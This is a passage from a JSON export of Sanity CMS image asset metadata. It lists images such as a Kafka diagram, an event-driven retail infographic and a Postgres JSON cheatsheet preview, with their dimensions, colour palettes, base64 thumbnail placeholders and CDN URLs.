cm5ublKBwNu/avL2uF6rPV1+UiqRkAIBgaAYjMAgBGYA/PR0IC2NgAACBggULpQdbqyvHbx29YHDsbW1xbIs71RZeWGeLFssJnFciGEEigoQBIXgmAf5GTAIohCEgCAGgSSBF+TlNtbVjo6MeDc2eO8ezMwUkSQhFAlwAsNwFMVRFINRBIKhDBABIRzFcBRDIAgGARQCcQTKJEWVFRW3hod5WaRYTIiEGE5ggsg+TBB7iAwPRHDkFROgEIxAkABBhBiKI/AhiaShru5fd2zCzUQwJ+gAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c3c30","foreground":"#fff","population":2.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#743422","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b07765","foreground":"#fff","population":3.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbbdb4","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d6ae9e","foreground":"#000","population":0.2,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b07765","foreground":"#fff","population":3.85,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc6c60","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"jobin george at google.png","path":"images/sczeoy4w/production/c0bcc47bddfde00af46b56db6d5c49d88030a754-300x300.png","sha1hash":"c0bcc47bddfde00af46b56db6d5c49d88030a754","size":70634,"uploadId":"8xVpXI4OsacBJrUEE1jKikJmE2oO4Au2","url":"https://cdn.sanity.io/images/sczeoy4w/production/c0bcc47bddfde00af46b56db6d5c49d88030a754-300x300.png"} {"_createdAt":"2022-11-22T11:40:12Z","_id":"image-c0db44fb8695a8b3d3d0c32abcdeda887d121a57-1600x602-png","_rev":"YI3rks3mbRtnzMpdoE3YFo","_type":"sanity.imageAsset","_updatedAt":"2022-11-22T11:40:12Z","assetId":"c0db44fb8695a8b3d3d0c32abcdeda887d121a57","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.6578073089700998,"height":602,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAABYUlEQVQYlTWL6YrbMBhF/f5PVijdaGDaiSJbu7Xrk2RZVuK0pEPhcDg/7p3K9izbM9eXy/bno3M9cz2hvPjoXM//s9O6fPnx+8unb1OEhwvD+pHSgPJI+eHT3cVhwzDusH64OFwYPo6Uhw+HDQcX4efXy+Xz98nHoUznsjlbIFYf9tV0obtYO1cvhO5Sd21acMXoyuRGaEJXiZGafPp3Vs2bnF3wJgvVbrRjti+8I/ryzDphxSpvVmCiUV44T1yWyfqDybawakyBkINLQiVEGqId0f6+7DfWMa2UObt6KQGTQigoEda1TEo3TADNaTUtwW6NYZTi2d9mQDihOWECQjhnmLOOsPTr6q/YC5G02SYXD6U3pVuEe8z3hYS3NznPljFPqWPUCx6MDtG7EIs2bSb+HamFWrXmqbZnbWfZztqeUE4ud0yrdXvOB+QO+QA4IB8JRq6Psj2MK3hReFmFin8BELW6/pIfLQkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#30313f","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a285c","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9fa6cc","foreground":"#000","population":2.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9fa6cc","foreground":"#000","population":2.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8de69","foreground":"#000","population":0.39,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#585fa5","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e29341","foreground":"#000","population":0.22,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-simply-explained-event-driven.png","path":"images/sczeoy4w/production/c0db44fb8695a8b3d3d0c32abcdeda887d121a57-1600x602.png","sha1hash":"c0db44fb8695a8b3d3d0c32abcdeda887d121a57","size":31355,"uploadId":"vPHmLYgiyuPMNguW0S5QfKdBSRndcsQ3","url":"https://cdn.sanity.io/images/sczeoy4w/production/c0db44fb8695a8b3d3d0c32abcdeda887d121a57-1600x602.png"} {"_createdAt":"2022-06-15T20:01:57Z","_id":"image-c0ddbd41837f18ad5f3c86d25d17aa1b8a576043-1567x844-png","_rev":"0HOthdQkSgJdYc0C9teFMy","_type":"sanity.imageAsset","_updatedAt":"2022-06-15T20:01:57Z","assetId":"c0ddbd41837f18ad5f3c86d25d17aa1b8a576043","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCDuWC2RM{=$IS|~0wWU?INY00-CkWwcJR","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACo0lEQVQokRXC6U9SAQAA8PctBR5yrPcAETnk4QPGKTx4wJAbJDnUlEPuowI3AgkUmWh4rVbKnIulrpqmq1bLDSo3t9rqSx/qb2r99gNYTJzPtwgEVh7PwmYbGbAevq1nQvgIZBDScSkR05Hwu0xvXZLemyi1FcUiP+Sm2dQDmPyWBhBwLVp1EMfmNOqAWOQcYRpYEM6BDCLYqIFMU7C9KI0/97ffZI7f5l+fJo47wafreCnBCXhBMzA2YlagHpXUq0A9KN/GY5m4DCPCNGmYZu+wrayIHac6/a3e973r/mbvcu3zq9qHk3svD+z1KmcOQNhmOeKakHhV4imlyK1AXErEjSEet3AqLfI99a1cPen9Pfv9q/vjoN3bbH483b56v/Pp3f2jU30JkI5aDfKA0xBx4GG7PuQyRj3G6B19JKqer8jnD8Otfqf/5/znZedrqnK+uHTS3bi42bm8Lh7eWOuAQuiy6Rb8jnTAmQm6sjPuXNCVnbWmksZoFQsdzCxflDtnlaNqeM9vayU92y9iz77Fdr8EG9fWh4BMNh0IFLKZRjazls81c7lmKrWaitcSs4WsN7kRLe/nN9Z9tbgwF4ZzS/xyS/rosay0aipVfGUAVfqS+WZ7t9vcPFxp7re2jtq73XpzPxSrWBzhOX+mEFtOuwrTzIiXEPEQF6xgEKcHZaIFPr4IcEUOpzeXyq8lso1ospbINnIP1sPxKj4ZGR2380Q2idiOjhqQIXycaOYOaqABGX1IQ4FNIHsSgIYNHIFVgDoRiRsRu8dQpxB18ccdw1wznaWnMXQUSAWCInBASBlEyUSURJSAZCWZqiFTtACdoafBOiqMUWGMButoMEaFtFRIS4MwOkNHZ+E0pp5CUYIECYkgBYlyMkHxP0lFJqv/AeVUxZIHwYQ2AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e1c3f","foreground":"#fff","population":5.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6d1d4d","foreground":"#fff","population":5.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2e1c3f","foreground":"#fff","population":5.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4b9ce","foreground":"#000","population":0.86,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec84b1","foreground":"#000","population":2.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#445285","foreground":"#fff","population":4.98,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c52460","foreground":"#fff","population":3.59,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"M3-Pillar-preview.png","path":"images/sczeoy4w/production/c0ddbd41837f18ad5f3c86d25d17aa1b8a576043-1567x844.png","sha1hash":"c0ddbd41837f18ad5f3c86d25d17aa1b8a576043","size":293117,"uploadId":"XDxFEVGpz2dA6tLi1jCBPIhSegdzIcGp","url":"https://cdn.sanity.io/images/sczeoy4w/production/c0ddbd41837f18ad5f3c86d25d17aa1b8a576043-1567x844.png"} {"_createdAt":"2022-07-25T15:19:05Z","_id":"image-c12e08ef536b30064114eea0bcfd3de9b7df345b-1200x1050-png","_rev":"ckgiwlcIm7aocoF4PmciXK","_type":"sanity.imageAsset","_updatedAt":"2022-07-25T15:19:05Z","assetId":"c12e08ef536b30064114eea0bcfd3de9b7df345b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eAJjoI=x8wRV00#.m,s;EMEg00^Q.mTaLLQmxtITkVS#00Io-?RS-q","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1428571428571428,"height":1050,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFVUlEQVQ4jUWUWXBTdRTGTxJoa1MEuyiOFoqAQFsYpCwFh1KKCg2ytwShlIIUoQia1gXEQkVBKgwPyFQdBUcZBpBhcFTKlHTLzd2yttlzb9ItTZqmaXObpEk3mr/TDI4P38z5vofzPZw5P4jsWgKR4jSIbM+CiHghL7JngSCyZwEvsmUlTJyYDqhsBqi7IqDqfKauSNRHs2f63yOAyOEXAZUlwFh5Kn+ieP7LkT0ZmROFK5KYb0l47PEBiduBsIagSe8DqboXGlu8gFuGADMFoLG1H5oNHJDscLSMbhsDiJS9AJHyeEDHIAYVvbQaFcwrRhszMxAAkLVt8LgHAW4bhyZjAJ5o+6BB5wM5MwIySxgadFw0J+xPgXYj8N4oAgidmAfoGwD3j4eEg5Vb3w5Idh3zVXy0urWhIwlvH02mmVCisn0snmRHnsetoRSSCScr7KPTKPvo8wQznEzZRlJUHeMJWicSmBprAdAtAHLlVaD1bJKqWblVI1UcV8nZbYTRvxEz+cVyczCfZMKLcbN/nczI7cVMgQKCCa8hrENr5eaAGLcMiSl2ZIXCPppwByGA7oMiHpsveU77u3wW3eLarLD0ldAWr4gwePNJo+eA2uIRa63ubELfu0Gu6z2gMHhKtGbPO5ShLw83ePcqLf0HdTZPns1iTUQiAGjdfTyGzru4yFT2S65Hgb/nc7ac8Ha15DIm/eyeDv0GztlSNujUiOymljkdGl2Wt1Vb6mtVF3VptOl2xrSgv1sn9rvUh0MOWSZ69IEAmveVx9W+dWm5uvxmoU8nuzDkVtwNuugiD9s0099NiYMuxb2AS3Haa8dme2ksm1MTP3NqssZLY8u4Tuy1oIuuCrro22EXvh1prsfCPycPxtQUfvFKbfWNpR4rvn/AQZ13WGQFBpU0o9PcLO6149UuRn7UTEiXMg31652ErMpFYpVsU0OOmZS+4WLlxzkHdSbslK8ebz4/FdRnlgkuVYjjrtVcFraZsRSbvmmhTdcgcrFyicMqK7Vq63NYvF7kJLGPHbis1FwvzWEb6/OdhEzSTchKGUKa7WYaUyeYPxJC32XyYfTTGL5LMkug+WofHwDAiD8QDnTiOzkHdZdzkF97rFi6l8ZEPhVx26ciLntobEkfjeX6VMRvnJr8fkCJL8YAAG0C3tNTcXyIVCbw0SkQhK+tEdAPfo01KWVJ/Z3KdT4H/TnXRRX1WMi5HjW9ZkBDfcZpqEO9KmJ+r5pePqChPxnUUkdCmubZqDqZP1aVLEBn4vkQ3g88lAW8nvuVU+jWrlcJg2e90uzZrWecBUbG8SZlcOdQOvfuFoNzn9HoyFXoe1ZROvcOrd5ZYjQ68hitPhGVAG/8bCJ/4nQsD4a6cYFXd0+gpFVTaTP3OmHi9mLGwQ/l5mAhyYSz5ebAuzIjd1RuDhSTbHgtYQmulxkH38dM/iOENbROYQvPmHxT9w+FMHQ5CwAFjfGednJ6U90jYavSMlOjbV8sJdsyHyu603BzIEluCc5sNnBz5Cb/bIodTiasoRSZYTANMw7OmZwV7RNT2VunYXIpWgUAbbraeA3+cMadmz8JtX8+ENrr/pp2/dy52Pmpc6NHwqzDQNrHgZwEQCcCsm0CCHYUCNsYUO0IiF4EQxcXAToCgE4CwI5toriCnVuEm/M3xX1ZXjFFVVcvuHP7b/6Vmvu8h090QNtHAbeGooii7WNA2UaAYP7zo6BsfxpFGmbyg7ozApCenhG3KD1dmJGRGZealsZHCMHVC1fgZMUFOH+2GiSScyCRVIGkvApIJgy4JQhNuoEoH+WWYLSkTumCOqUzysR/AeZuV8w2fcgsAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#502f3d","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a0a17","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f45029","foreground":"#fff","population":0.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abc4d2","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f288d4","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#737885","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f45029","foreground":"#fff","population":0.41,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"infographic-event-driven-architecture-for-retail.png","path":"images/sczeoy4w/production/c12e08ef536b30064114eea0bcfd3de9b7df345b-1200x1050.png","sha1hash":"c12e08ef536b30064114eea0bcfd3de9b7df345b","size":28152,"uploadId":"ZNnHMcDlgn0ZHdJbF36kiUVnrlsc9yfI","url":"https://cdn.sanity.io/images/sczeoy4w/production/c12e08ef536b30064114eea0bcfd3de9b7df345b-1200x1050.png"} {"_createdAt":"2022-06-06T02:28:34Z","_id":"image-c14c3b409377e036ac164e09dbfefba1d9bfed99-476x250-jpg","_rev":"oamrAPLmQLQjd9jh7Vh5vG","_type":"sanity.imageAsset","_updatedAt":"2022-06-06T02:28:34Z","assetId":"c14c3b409377e036ac164e09dbfefba1d9bfed99","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNPsegyst7MI.STJM_sBXmo2yEMdkWxbR5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.904,"height":250,"width":476},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUCBgf/xAAjEAACAgEDAwUAAAAAAAAAAAABAgMEAAURMQYSIRMUFUFx/8QAFgEBAQEAAAAAAAAAAAAAAAAAAQID/8QAGhEAAgMBAQAAAAAAAAAAAAAAAQIAAxEiMf/aAAwDAQACEQMRAD8A3k0b7XnZrRFdj4Ct5GIesrc2mUlWrckM8ciyH1G5X7Ay3RKBZY+d/wBxVr2n1bmo0vdQLJsTzjZpXmaUKrPjeSfSusfLaPHakI7ySp2G3GGNa8EUEQjhjVEHCqNhhjWCqgGRYwZywGCf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#58463f","foreground":"#fff","population":0.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4043c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5650e","foreground":"#fff","population":0.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4cccc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f06894","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c8c80","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5650e","foreground":"#fff","population":0.67,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Cookie_Policy_meta_preview.jpeg","path":"images/sczeoy4w/production/c14c3b409377e036ac164e09dbfefba1d9bfed99-476x250.jpg","sha1hash":"c14c3b409377e036ac164e09dbfefba1d9bfed99","size":27820,"uploadId":"0TS3Sjqb5cbNpy3MbxQfSo2iHBcyHAUW","url":"https://cdn.sanity.io/images/sczeoy4w/production/c14c3b409377e036ac164e09dbfefba1d9bfed99-476x250.jpg"} {"_createdAt":"2022-09-30T15:37:04Z","_id":"image-c18e9fd7221639ae488e987cfb3d726750c9777c-4004x1330-jpg","_rev":"vDQRRYe9nRreptIRp5kH38","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:37:04Z","assetId":"c18e9fd7221639ae488e987cfb3d726750c9777c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DKEx-IbaI]NEM|~po#t8R.n~","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.0105263157894737,"height":1330,"width":4004},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAHABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAMFBv/EACAQAAEEAgIDAQAAAAAAAAAAAAEAAgMEBRIGERMhMVH/xAAVAQEBAAAAAAAAAAAAAAAAAAAEBv/EABwRAAICAwEBAAAAAAAAAAAAAAECABIDITEEwf/aAAwDAQACEQMRAD8AxmE5Rkn16779p8ux0DQSOh+qaTPzSZS2ylqJIYtiZR3t7RES1kDnu/kbUKajkpc3zeatkHRWogJQ0d+IAD4iIqPF5cToGK9EEcrLqf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#523b37","foreground":"#fff","population":1.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c400f","foreground":"#fff","population":1.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c8baab","foreground":"#000","population":5.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8baab","foreground":"#000","population":5.74,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2cdb1","foreground":"#000","population":0.93,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a68e5d","foreground":"#fff","population":0.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c27a3d","foreground":"#fff","population":1.36,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"c18e9fd7221639ae488e987cfb3d726750c9777c-4004x1330.jpg","path":"images/sczeoy4w/production/c18e9fd7221639ae488e987cfb3d726750c9777c-4004x1330.jpg","sha1hash":"c18e9fd7221639ae488e987cfb3d726750c9777c","size":1888117,"uploadId":"87XOSkP3mYtRWV6LfREzbsoAGjCZSSi0","url":"https://cdn.sanity.io/images/sczeoy4w/production/c18e9fd7221639ae488e987cfb3d726750c9777c-4004x1330.jpg"} {"_createdAt":"2023-03-28T10:28:40Z","_id":"image-c228518b0c2d62766ec0805f09517b493f3366b8-1272x898-png","_rev":"WYYBJ4jzXPhbQa4a6Qgm1b","_type":"sanity.imageAsset","_updatedAt":"2023-03-28T10:29:05Z","altText":null,"assetId":"c228518b0c2d62766ec0805f09517b493f3366b8","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4164810690423162,"height":898,"width":1272},"exif":{"ColorSpace":1,"PixelXDimension":1272,"PixelYDimension":898,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAACc0lEQVQ4jU2T227cOBBE9f/ftjE2b9lkZmIknhHFa5NsipS9wQkoG9l9OKhWU2gVi9QyzB0xd9xm+H678vnz3zw9PfHXp098+fIPxmz8+PGTr1+/cblcud1uXK83LpcLz8/PWGsJzmFXQ/SepYUVTRtaHCmuPF6euV6vXC7febkbQsxYF1lXi9n8HzYbCEHIMZMehvTzTtscy54DuwSGCq+jMnpFJBNjQXKjlJ08+V89tZZO08E++5unrpbDJ5bXWhgxceTCv2PwdgxKqaezlOZwJUk96xOpFFFUKk0qe6pUl056zCy/xs5brbxV5dcxOMZOCAGzWqwNeJ9wLn4Q8C4iPqFe2EM+hzSXUJcYc+DRG6MpR2unu2N0ci7E6VAKKckZdvIeCZ4cAhoje4j0mOhJ0DApdFEWSUKK6Ryi2lCdGbUzs1o7VTJiHxT3oAXDHgw9GnowjGjpKVBjpuadrgdLitPNdKJnXjnviDQkVkre0VyozqB+ZY8be9jo8Z0hjlEiKplWG70fLCUrfxCllnaqhPIRvry78w96XOlhZcTpznCkjZEdmiytRI5e55Y9JQdaTWiJtJJoWahBaDPwGMnbf1tWb2jT6XSZLD07atzQ7Dl2YZHwoCRDKxaVjZbnS4EWZvDC7gPFbJTNUq0ln+po3tNCoMeABo/OQ8rCUpOlJHd+4VTx50VX51Eb0HVDX1b0/sHLSl83DuMYxnFsUy1jc7z6yDIH1OTRHN41zT8noj5QbaQYTzUO3fxJM55uA8MnRpCT7uLZe43CslehlcxeM60Ie8n0ks8MsxfETZ3PhRoLJeSzP2tN89D0XCt+Zl74DUn6JvOOAR7pAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#454544","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a412a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c8b9a5","foreground":"#000","population":0.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8b9a5","foreground":"#000","population":0.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4a0a3","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a05e59","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc9470","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"pg-json-cheatsheet-preview.png","path":"images/sczeoy4w/production/c228518b0c2d62766ec0805f09517b493f3366b8-1272x898.png","sha1hash":"c228518b0c2d62766ec0805f09517b493f3366b8","size":308864,"title":null,"uploadId":"Mb5DaeH9kw7ZV4F8qYi4jQzA2X0tWFyz","url":"https://cdn.sanity.io/images/sczeoy4w/production/c228518b0c2d62766ec0805f09517b493f3366b8-1272x898.png"} {"_createdAt":"2024-01-15T14:17:05Z","_id":"image-c26b885ef7369fa934b05a7dc0abd821f2e11d16-2147x3221-jpg","_rev":"LQwNRwyj66d52uoiFNaWPu","_type":"sanity.imageAsset","_updatedAt":"2024-01-15T14:17:05Z","assetId":"c26b885ef7369fa934b05a7dc0abd821f2e11d16","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"dyLD$6M{X.s:?woft7kCEfoLVrWVrrWCNGWBfmofaxWC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.666563179136914,"height":3221,"width":2147},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAeABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGCAf/xAAnEAABAwMDAwQDAAAAAAAAAAABAgMEAAURBiFBBxIiE1FhcRQVI//EABcBAQEBAQAAAAAAAAAAAAAAAAUEAQP/xAAdEQACAgMAAwAAAAAAAAAAAAABAwACBBESBRMh/9oADAMBAAIRAxEAPwDrE+XG0zpyVd5yVKYjo7iEjJPxSvp3rtrWz7zH6x6GQnvbWrdKx9+9OdUPWl3R82JepTTEd9vtyo7k8YFJOmVwtluisIlPssKVlEcKVjIrWuNWAbnZGMWLtYA/JWvQSlwjFFM3nUKXlJBB5FFU7kmplZ26x9YXNxFxkFpSz/BYVlAHAI4qgtWj48V1Ds+4tuNN+SUoUSTjge1Zzs13etL7T8bdxJ8grdJFXsjq1cFwCzHt8Rl0p7fVAJI+aEfiXZfYMfxPMtx1eqp0Jp7TGpoc60oW3JbUG1FvxOcY4org/SX8h7Shc9XdclxR+9qKYWOaAQK56sTP/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f4947","foreground":"#fff","population":1.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b02616","foreground":"#fff","population":9.86,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b02616","foreground":"#fff","population":9.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acb5c7","foreground":"#000","population":4.55,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e3c5b8","foreground":"#000","population":3.54,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac5474","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df261d","foreground":"#fff","population":1.33,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"DSC05022 (2) (1).jpg","path":"images/sczeoy4w/production/c26b885ef7369fa934b05a7dc0abd821f2e11d16-2147x3221.jpg","sha1hash":"c26b885ef7369fa934b05a7dc0abd821f2e11d16","size":1770636,"uploadId":"jIKsRYTfxxgNKJEukTJGqCFgmzAZlMNj","url":"https://cdn.sanity.io/images/sczeoy4w/production/c26b885ef7369fa934b05a7dc0abd821f2e11d16-2147x3221.jpg"} {"_createdAt":"2022-06-30T20:00:49Z","_id":"image-c2aed94652237bf3fb4ce4a66f4b4c97a8d7f6f3-672x484-png","_rev":"ecafYeJdFUSoqAVEkXNoaf","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T01:02:19Z","assetId":"c2aed94652237bf3fb4ce4a66f4b4c97a8d7f6f3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VA8|krofofWCof4.fkoMayoLIoWBWVa|a|~WkCayayae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3884297520661157,"height":484,"width":672},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAA7DAAAOwwHHb6hkAAACdElEQVQokUWTCW/aQBCF/VPY9c4edoCAMea0AUOTSG2iBAgGY3xyhSMkVfL7q3XSVvr0pNG82TcaaZVqxRT8ilKhXZUqlZph1Gs1q1Kp6VqRgpBQCfuPRqnQRdEymkq5VAXgKqaEsH9WCoKojGBKMAPMCGYU8xzBVY2pQqNX1nVDKRUrQDhGoCL6BZEwQBwQp4gzJCBXhoQssaCYc9CMsqlUSzVGtNyX9/6aONa+3fIVmQ+YqZjmAAV+XTYUs1QXRKdIcKTRPAoQl/mY5YvA3wEJ/lYAOVxVrosGqFwtyIUxAlwAVIACIuiLAsEIEAIsuxQhOY8wAcKuyxWlWjZYfh4gXKq8MAfCKRVAmDybhH4pYKAqBUIF1+tmQ/k5GLkdu9+xB3bf6dhurz+0e27Hdp2e3Wi3zGbLbDZqZtOymma9ZZhd02qZjW67f3d7rxxWwXEVvEThIU52wXK38veBv13Ms+Uyns1W47H/NJ3dP84fJ4un6fx+HDxOFw/jxcM0nvrKPo3e1+nbZnPZbM9Jcs6yc5ad4uiYrk/p+jVKjkG6fl7tvfCwiHfz8DVYnZb+wfPOM0/x/VXsr7Zhekg2hzC9RJtzlJ2C6C1MLlH2kWSfYXpeRL+D5CNML3H6sd18btP3LHoJQ+X53nu4e/J+TTaT2Xr8fJx4+4mXTbyj5+/ny5cgPIXRzg9egvgYRLvlcheH+zjIgoXvL5SRPbSMVrtq3TTao0bntuXctJ1+0/lhu6496DvucDAa2D3Xdke267btgeP07a7T7bjDkWLVGhrTOXCN6QyEoDpnOgVNsCtGNQZaXsr/wEFjhHOuMy6E0Otm8w8CucDjUSD0bQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","b